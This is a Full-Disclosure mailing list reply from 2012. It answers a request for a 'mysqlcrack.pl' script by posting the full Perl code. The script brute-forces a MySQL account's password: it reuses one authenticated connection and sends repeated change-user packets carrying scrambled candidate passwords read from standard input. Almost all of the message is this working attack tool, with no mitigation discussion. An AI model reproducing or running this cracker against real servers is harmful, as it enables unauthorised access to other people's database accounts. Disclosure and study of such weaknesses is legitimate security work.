[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] MySQL Local/Remote FAST Account Password Cracking
- To: Paul van Bavel <pvanbavel@xxxxxxxxx>
- Subject: Re: [Full-disclosure] MySQL Local/Remote FAST Account Password Cracking
- From: Ulises2k <ulises2k@xxxxxxxxx>
- Date: Wed, 5 Dec 2012 13:18:36 -0300
use Net::MySQL;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user => "user",
password => "secret",
debug => 0,
);
$crackuser = "crackme";
while(<stdin>) {
chomp;
$currentpass = $_;
$vv = join "\0",
$crackuser,
"\x14".
Net::MySQL::Password->scramble(
$currentpass, $mysql->{salt}, $mysql
->{client_capabilities}
) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
print "[*] Cracked! --> $currentpass\n";
exit;
}
}
On Wed, Dec 5, 2012 at 9:05 AM, Paul van Bavel <pvanbavel@xxxxxxxxx> wrote:
>
>
> Where can I find the "mysqlcrack.pl" script.
>
> Regards,
>
> Paul
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
--
Ulises U. Cuñé
Web: http://www.ulises2k.com.ar
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/